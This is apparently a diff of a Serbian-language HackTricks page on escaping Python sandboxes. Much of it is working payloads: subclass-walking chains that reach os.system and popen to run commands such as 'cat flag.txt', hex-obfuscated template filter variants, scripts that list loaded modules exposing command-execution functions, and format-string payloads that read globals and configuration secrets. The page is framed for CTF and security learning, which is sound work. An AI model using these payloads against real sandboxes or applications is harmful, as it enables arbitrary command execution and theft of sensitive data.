|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
|
@ -459,18 +498,24 @@ defined_func.__class__.__base__.__subclasses__()
|
||||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||||
```
|
```
|
||||||
|
|
||||||
### Pronalaženje opasnih biblioteka učitanih
|
### Pronalaženje opasnih biblioteka učitanih
|
||||||
|
|
||||||
Na primer, znajući da je sa bibliotekom **`sys`** moguće **uvoziti proizvoljne biblioteke**, možete pretražiti sve **module učitane koji su uvezli sys unutar njih**:
|
Na primer, znajući da je sa bibliotekom **`sys`** moguće **uvoziti proizvoljne biblioteke**, možete pretražiti sve **module učitane koji su uvezli sys unutar njih**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
```
|
```
|
||||||
|
|
||||||
Postoji mnogo, i **potreban nam je samo jedan** da izvršimo komande:
|
Postoji mnogo, i **potreban nam je samo jedan** da izvršimo komande:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
|
Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#os
|
#os
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||||
|
@ -505,7 +550,9 @@ Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu k
|
||||||
#pdb
|
#pdb
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
Osim toga, čak možemo pretražiti koje module učitavaju zlonamerne biblioteke:
|
Osim toga, čak možemo pretražiti koje module učitavaju zlonamerne biblioteke:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
for b in bad_libraries_names:
|
for b in bad_libraries_names:
|
||||||
|
@ -524,7 +571,9 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||||
pdb:
|
pdb:
|
||||||
"""
|
"""
|
||||||
```
|
```
|
||||||
|
|
||||||
Osim toga, ako mislite da **druge biblioteke** možda mogu **pozvati funkcije da izvrše komande**, takođe možemo **filtrirati po imenima funkcija** unutar mogućih biblioteka:
|
Osim toga, ako mislite da **druge biblioteke** možda mogu **pozvati funkcije da izvrše komande**, takođe možemo **filtrirati po imenima funkcija** unutar mogućih biblioteka:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||||
|
@ -556,11 +605,13 @@ execfile:
|
||||||
execute:
|
execute:
|
||||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||||
```
|
```
|
||||||
|
|
||||||
## Rekurzivna pretraga ugrađenih funkcija, globalnih promenljivih...
|
## Rekurzivna pretraga ugrađenih funkcija, globalnih promenljivih...
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za **rekurzivno pronalaženje mesta gde možete pronaći taj objekat.**
|
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za **rekurzivno pronalaženje mesta gde možete pronaći taj objekat.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
|
||||||
|
@ -676,10 +727,11 @@ print(SEARCH_FOR)
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete proveriti izlaz ovog skripta na ovoj stranici:
|
Možete proveriti izlaz ovog skripta na ovoj stranici:
|
||||||
|
|
||||||
{% content-ref url="broken-reference/" %}
|
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/rs/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||||
[broken-reference](broken-reference/)
|
[https://github.com/carlospolop/hacktricks/blob/rs/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/rs/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Python Format String
|
## Python Format String
|
||||||
|
@ -690,6 +742,7 @@ Ako **pošaljete** **string** u python koji će biti **formatiran**, možete kor
|
||||||
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći izvršiti proizvoljni kod**, već samo čitati informacije.\
|
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći izvršiti proizvoljni kod**, već samo čitati informacije.\
|
||||||
_**Ako znate kako izvršiti kod putem ove ranjivosti, molim vas kontaktirajte me.**_
|
_**Ako znate kako izvršiti kod putem ove ranjivosti, molim vas kontaktirajte me.**_
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
|
@ -709,16 +762,20 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
|
|
||||||
Zapaženo je kako možete **pristupiti atributima** na uobičajen način sa **tačkom** poput `people_obj.__init__` i **elementima rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
|
Zapaženo je kako možete **pristupiti atributima** na uobičajen način sa **tačkom** poput `people_obj.__init__` i **elementima rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
|
||||||
|
|
||||||
Takođe, možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Takođe, možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Neke druge zanimljive karakteristike formatiranja stringova su mogućnost **izvršavanja** funkcija **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** redom:
|
Neke druge zanimljive karakteristike formatiranja stringova su mogućnost **izvršavanja** funkcija **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** redom:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
|
|
||||||
Osim toga, moguće je **napisati nove formate** u klasama:
|
Osim toga, moguće je **napisati nove formate** u klasama:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
|
@ -729,6 +786,7 @@ return 'HAL 9000'
|
||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||||
#I'm afraid I can't do that.
|
#I'm afraid I can't do that.
|
||||||
```
|
```
|
||||||
|
|
||||||
**Više primera** o **formatiranju** **stringova** možete pronaći na [**https://pyformat.info/**](https://pyformat.info)
|
**Više primera** o **formatiranju** **stringova** možete pronaći na [**https://pyformat.info/**](https://pyformat.info)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -740,6 +798,7 @@ Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive inf
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Payloadi za Otkrivanje Osetljivih Informacija
|
### Payloadi za Otkrivanje Osetljivih Informacija
|
||||||
|
|
||||||
```python
|
```python
|
||||||
{whoami.__class__.__dict__}
|
{whoami.__class__.__dict__}
|
||||||
{whoami.__globals__[os].__dict__}
|
{whoami.__globals__[os].__dict__}
|
||||||
|
@ -750,6 +809,7 @@ Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive inf
|
||||||
# Access an element through several links
|
# Access an element through several links
|
||||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Rasklapanje Python objekata
|
## Rasklapanje Python objekata
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
|
@ -759,6 +819,7 @@ Ako želite da **sa**znate više o **bajtkodu u Pythonu** detaljno pročitajte o
|
||||||
Na nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izdvojili.
|
Na nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izdvojili.
|
||||||
|
|
||||||
Ovo je funkcija koju treba pregledati:
|
Ovo je funkcija koju treba pregledati:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -769,16 +830,20 @@ return "THIS-IS-THE-FALG!"
|
||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
|
|
||||||
#### dir
|
#### dir
|
||||||
|
|
||||||
```python
|
```python
|
||||||
dir() #General dir() to find what we have loaded
|
dir() #General dir() to find what we have loaded
|
||||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||||
dir(get_flag) #Get info tof the function
|
dir(get_flag) #Get info tof the function
|
||||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||||
```
|
```
|
||||||
|
|
||||||
#### globals
|
#### globals
|
||||||
|
|
||||||
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisane:
|
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisane:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
get_flag.func_globals
|
get_flag.func_globals
|
||||||
get_flag.__globals__
|
get_flag.__globals__
|
||||||
|
@ -787,11 +852,13 @@ get_flag.__globals__
|
||||||
#If you have access to some variable value
|
#If you have access to some variable value
|
||||||
CustomClassObject.__class__.__init__.__globals__
|
CustomClassObject.__class__.__init__.__globals__
|
||||||
```
|
```
|
||||||
|
|
||||||
[**Pogledajte ovde više mesta za dobijanje globalnih promenljivih**](./#globals-and-locals)
|
[**Pogledajte ovde više mesta za dobijanje globalnih promenljivih**](./#globals-and-locals)
|
||||||
|
|
||||||
### **Pristupanje kodu funkcije**
|
### **Pristupanje kodu funkcije**
|
||||||
|
|
||||||
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije.
|
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# In our current example
|
# In our current example
|
||||||
get_flag.__code__
|
get_flag.__code__
|
||||||
|
@ -805,7 +872,9 @@ compile("print(5)", "", "single")
|
||||||
dir(get_flag.__code__)
|
dir(get_flag.__code__)
|
||||||
